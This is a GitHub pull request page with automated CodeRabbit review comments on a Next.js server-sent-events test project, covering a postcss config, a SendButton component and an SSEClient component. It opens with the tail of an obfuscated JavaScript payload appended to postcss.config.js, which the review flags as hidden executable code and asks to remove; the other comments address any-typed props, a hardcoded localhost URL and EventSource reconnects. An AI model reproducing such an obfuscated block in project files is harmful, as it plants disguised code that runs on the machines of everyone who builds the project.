Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() | |
| export default { | |
| plugins: { | |
| "`@tailwindcss/postcss`": {}, | |
| }, | |
| }; |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` around lines 1 - 10, The file contains an obfuscated,
executable payload (referenced by symbols like _$_1e42, sfL, EKc, jFD, Tgw and
global mutations) appended after the legitimate config; remove the entire
obfuscated block so the module only exports the intended PostCSS config (the
createRequire/import.meta.url setup and export default { plugins: {
"`@tailwindcss/postcss`": {} } }), ensure no other hidden code remains, and run a
quick static check for any remaining suspicious globals or require mutations
before committing.
| @@ -0,0 +1,16 @@ | |||
| "use client"; | |||
|
|
|||
| export default function SendButton({ userId }: { userId: any }) { | |||
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# 1) Show the exact contents around the referenced line
sed -n '1,80p' src/components/SendButton.tsx | cat -n
# 2) Search within the file for localhost / backend URL usage
rg -n --hidden -S "localhost|http://|https://" src/components/SendButton.tsx || true
# 3) Find SendButton usages to infer the expected userId type
rg -n --hidden -S "SendButton" src | head -n 50
# 4) Determine if there is a lint rule or existing types for userId in codebase
rg -n --hidden -S "userId:\s*any|userId\??:\s*any" src || true
rg -n --hidden -S "userId:\s*string|userId:\s*number|userId:\s*UUID" src || trueRepository: nomeyy/dev-test
Length of output: 1765
🏁 Script executed:
#!/bin/bash
set -euo pipefail
sed -n '1,120p' src/components/SSEClient.tsx | cat -n
rg -n --hidden -S "localhost:3000|http://localhost" src/components/SSEClient.tsx || trueRepository: nomeyy/dev-test
Length of output: 1199
🏁 Script executed:
sed -n '1,120p' src/app/sse-test/page.tsx | cat -nRepository: nomeyy/dev-test
Length of output: 463
Replace userId: any and remove hardcoded localhost in SendButton
- Use a strict prop type: change
userId: anytouserId: string(Line 3) to restore type safety. - Avoid hardcoding
http://localhost:3000in thefetchURL (Line 5); use a configurable base URL (env) or a relative path instead.
Suggested fix
-export default function SendButton({ userId }: { userId: any }) {
+export default function SendButton({ userId }: { userId: string }) {📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| export default function SendButton({ userId }: { userId: any }) { | |
| export default function SendButton({ userId }: { userId: string }) { |
🧰 Tools
🪛 ESLint
[error] 3-3: Unexpected any. Specify a different type.
(@typescript-eslint/no-explicit-any)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/SendButton.tsx` at line 3, Change the SendButton prop typing
from userId: any to userId: string in the SendButton component signature to
restore type safety, and update the fetch call inside SendButton to avoid the
hardcoded "http://localhost:3000" by using a configurable base (e.g.
process.env.NEXT_PUBLIC_API_BASE) or a relative path (e.g. "/api/…"); also
ensure any runtime use of userId assumes string (add a simple guard/validation
if needed) so types line up with the new signature.
|
|
||
| export default function SendButton({ userId }: { userId: any }) { | ||
| const sendTestEvent = async () => { | ||
| await fetch(`http://localhost:3000/send/${userId}`, { |
There was a problem hiding this comment.
Avoid hardcoded backend origin in client code.
At Line 5, http://localhost:3000 will fail outside local dev and duplicates endpoint config. Move this to a public env var/shared config.
Suggested fix
export default function SendButton({ userId }: { userId: string }) {
+ const apiBase = process.env.NEXT_PUBLIC_SSE_API_BASE ?? "";
const sendTestEvent = async () => {
- await fetch(`http://localhost:3000/send/${userId}`, {
+ await fetch(`${apiBase}/send/${userId}`, {
method: "POST",🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/SendButton.tsx` at line 5, The fetch in SendButton.tsx
currently hardcodes the backend origin (http://localhost:3000) when calling
await fetch(`http://localhost:3000/send/${userId}`); update the SendButton
component to use a shared runtime-config or public env var (e.g.
NEXT_PUBLIC_API_URL or a getApiBaseUrl() helper) instead of the literal string,
and build the URL as `${API_BASE}/send/${userId}` (keeping the existing userId
path segment); ensure the env var is read in a client-safe way (NEXT_PUBLIC_*
for Next.js or injected config for the frontend) and replace all occurrences in
SendButton (and any sibling helper functions) to avoid hardcoded origins.
|
|
||
| import { useEffect, useState } from "react"; | ||
|
|
||
| export default function SSEClient({ userId }: { userId: any }) { |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
FILE="src/components/SSEClient.tsx"
echo "== File: $FILE =="
if [ ! -f "$FILE" ]; then
echo "Missing $FILE" >&2
exit 1
fi
echo
echo "== Lines 1-160 (with numbers) =="
nl -ba "$FILE" | sed -n '1,160p'
echo
echo "== Find EventSource / onerror / close usage =="
rg -n --hidden --no-ignore-vcs -S "EventSource|onerror|onerror\s*=|close\(" "$FILE" || trueRepository: nomeyy/dev-test
Length of output: 196
🏁 Script executed:
#!/bin/bash
set -euo pipefail
FILE="src/components/SSEClient.tsx"
echo "== Check file =="
if [ ! -f "$FILE" ]; then
echo "Missing $FILE" >&2
exit 1
fi
echo "Found $FILE"
echo
echo "== Lines 1-220 =="
cat -n "$FILE" | sed -n '1,220p'
echo
echo "== Search for EventSource/onerror/close =="
rg -n --hidden --no-ignore-vcs -S "EventSource|onerror\s*=|onerror\W|addEventListener\s*\(\s*['\"]error['\"]|close\(" "$FILE" || true
echo
echo "== Search for userId prop typing =="
rg -n --hidden --no-ignore-vcs -S "function\s+SSEClient\s*\(|\{ *userId *\}|userId\s*:" "$FILE" || trueRepository: nomeyy/dev-test
Length of output: 1602
Replace userId: any and avoid closing EventSource on onerror.
- Line 5:
userId: anyremoves type guarantees—use a concrete prop type (e.g.,string). eventSource.onerrorcallseventSource.close(), which disables EventSource’s built-in auto-reconnect behavior; only close on unmount/intentional shutdown.
Suggested fix
-export default function SSEClient({ userId }: { userId: any }) {
+export default function SSEClient({ userId }: { userId: string }) {📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| export default function SSEClient({ userId }: { userId: any }) { | |
| export default function SSEClient({ userId }: { userId: string }) { |
🧰 Tools
🪛 ESLint
[error] 5-5: Unexpected any. Specify a different type.
(@typescript-eslint/no-explicit-any)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/SSEClient.tsx` at line 5, Update SSEClient to use a concrete
prop type (replace userId: any with userId: string in the SSEClient component
signature and any related type declarations/usages) and remove the call to
eventSource.close() from the eventSource.onerror handler so the EventSource can
retain its native auto-reconnect behavior; instead, perform cleanup by closing
the EventSource only in the component unmount/cleanup path (e.g., useEffect
return or componentWillUnmount) and optionally log the error inside
eventSource.onerror without closing.
Comment on lines
+19
to
+22
| eventSource.onerror = () => { | ||
| setMessage("Connection error or closed."); | ||
| eventSource.close(); | ||
| }; |
There was a problem hiding this comment.
Don’t close EventSource inside onerror; allow automatic reconnect.
At Line 21, calling eventSource.close() on the first error disables native SSE retry and makes transient failures permanent.
Suggested fix
eventSource.onerror = () => {
- setMessage("Connection error or closed.");
- eventSource.close();
+ setMessage("Connection issue. Retrying...");
};📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| eventSource.onerror = () => { | |
| setMessage("Connection error or closed."); | |
| eventSource.close(); | |
| }; | |
| eventSource.onerror = () => { | |
| setMessage("Connection issue. Retrying..."); | |
| }; |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/SSEClient.tsx` around lines 19 - 22, The onerror handler for
the EventSource in SSEClient.tsx currently calls eventSource.close(), which
prevents native SSE automatic reconnection; remove the eventSource.close() call
inside the eventSource.onerror callback and instead only update state (e.g.,
setMessage) or inspect eventSource.readyState if you need to show status,
leaving EventSource to manage retries automatically (identify the onerror
assignment and the eventSource variable to change).
netsetsoftware-git
force-pushed
the
feature/sse
branch
from
August 21, 2026 20:45
a87ac6a to
5f690af
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary by CodeRabbit
New Features
Chores